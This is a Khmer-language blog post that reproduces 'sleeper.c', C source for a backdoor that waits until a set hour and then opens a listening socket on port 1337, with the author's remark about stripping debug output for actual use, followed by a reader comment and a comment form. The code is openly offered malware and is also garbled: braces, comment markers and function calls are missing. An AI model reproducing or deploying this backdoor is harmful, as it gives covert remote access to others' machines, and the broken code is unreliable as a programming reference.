Source Code របស់​មេរោគ​ប្រភេទ Backdoor សរសេរ​ក្នុង C

Title: sleeper.c
Author: Scytzo
Date: 1-16-05
Compile: gcc sleeper.c -o sleeper

This is an example of a backdoor
that will sleep until a configured time
then opens up a listening socket

Right now only the trigger hour matters
the backdoor starts at this hour and is
only alive for the time specified.

ctimes output is in the format ‘Mon Jan 17 16:00:35 2005’
that’s why trigger time should have a leading space
so it doesnt get confused with a similar minute.

If you’re going to use this as an actual backdoor you’re
going to want to remove all the printf() statements

Sometimes if the backdoor tries to start up again right away
you’ll get a BIND error.  You can usually safely ignore this
but I would like to do more testing.  If you see a better way of
doing any of this just let me know.


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

#include <time.h> // for time structure and functions
#include <string.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>

#define listenPort 1337

#define triggerHour “22” // Hour to start listening MILITARY TIME!!!
#define aliveFor “180” // the amount of time to keep the server listen()ing for, in seconds
// shouldn’t be less than three minutes

#define triggerMin “57” // Minute in the hour to start listening
#define stopHour “16” // Hour to stop listening same format
#define stopMin “25” // Minute to stop listener

void wait_for_time();
void start_listening();
void start_kill_timer();

int main( int argc, char **argv)
pid_t lPid;

while( 1 == 1)
sleep(1800);  check every 30 minutes
//printf(“Let’s start at the beginning\n”);

if( (lPid = fork()) == 0 )
//printf(“just forked\n”);
//printf(“start_listening() is done\n”);


return 0;

void wait_for_time()

char *pTime; // printable time

time_t now;
int cont = 1, yes = 1;
struct tm *theTime;
int tHour = atoi(triggerHour);
int tMin = atoi(triggerMin);
int hour, minute;

while( cont == yes )
// sleep(25); so we’re not checking 700 times a second
theTime = localtime( &now );
hour = theTime->tm_hour;
minute = theTime->tm_min;

if( hour == tHour )
//printf(“NOW IS THE TIME!\n”);
yes = 0;


void start_listening()
struct sockaddr_in serverAddr, clientAddr;
int listenSock, acceptFd;
int port = listenPort;
socklen_t cliLength = sizeof(clientAddr);
pid_t pid;
int cont = 1, yes = 1;
time_t now;
struct tm *theTime;
int tHour = atoi(triggerHour);
int sHour = atoi(stopHour);
int sMin = atoi(stopMin);
int hour, minute;

bzero( &serverAddr, sizeof(serverAddr) );
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(listenPort);
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);

if( (listenSock = socket( AF_INET, SOCK_STREAM, 0 )) == -1)
printf(“Error creating socket Bitch! %s\n”, strerror(errno));

if( bind(listenSock, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) != 0 )
printf(“Bind error Bitch! %s\n”, strerror(errno));

if( listen(listenSock, 2) != 0)
printf(“Listen() error bitch!\n”);

printf(“Starting listener on port %d\n”, listenPort);
pid_t listenPid;
int zzzz = atoi(aliveFor);

if( (listenPid = fork()) == 0)

printf(“just forked for listenpid\n”);
int newFd;
char readBuf[200];
bzero(readBuf, sizeof(readBuf));
char *msg = “Did you just say casarole?\n”;

newFd = accept(listenSock, (struct sockaddr *) &clientAddr, &cliLength);

write( newFd, msg , strlen(msg));
read( newFd, readBuf, 200);
printf(“Readbuf is %s\n”, readBuf);
//printf(“Exiting listenpid fork\n”);


kill( listenPid, 1);


One thought on “Source Code របស់​មេរោគ​ប្រភេទ Backdoor សរសេរ​ក្នុង C

  1. ទៅ​ចឹង​ទៅ



Fill in your details below or click an icon to log in:


អ្នក​កំពុង​បញ្ចេញ​មតិ​ដោយ​ប្រើ​គណនី របស់​អ្នក​។ Log Out /  ផ្លាស់ប្តូរ )

Google+ photo

អ្នក​កំពុង​បញ្ចេញ​មតិ​ដោយ​ប្រើ​គណនី Google+ របស់​អ្នក​។ Log Out /  ផ្លាស់ប្តូរ )

រូប Twitter

អ្នក​កំពុង​បញ្ចេញ​មតិ​ដោយ​ប្រើ​គណនី Twitter របស់​អ្នក​។ Log Out /  ផ្លាស់ប្តូរ )

រូបថត Facebook

អ្នក​កំពុង​បញ្ចេញ​មតិ​ដោយ​ប្រើ​គណនី Facebook របស់​អ្នក​។ Log Out /  ផ្លាស់ប្តូរ )


កំពុង​ភ្ជាប់​ទៅ​កាន់ %s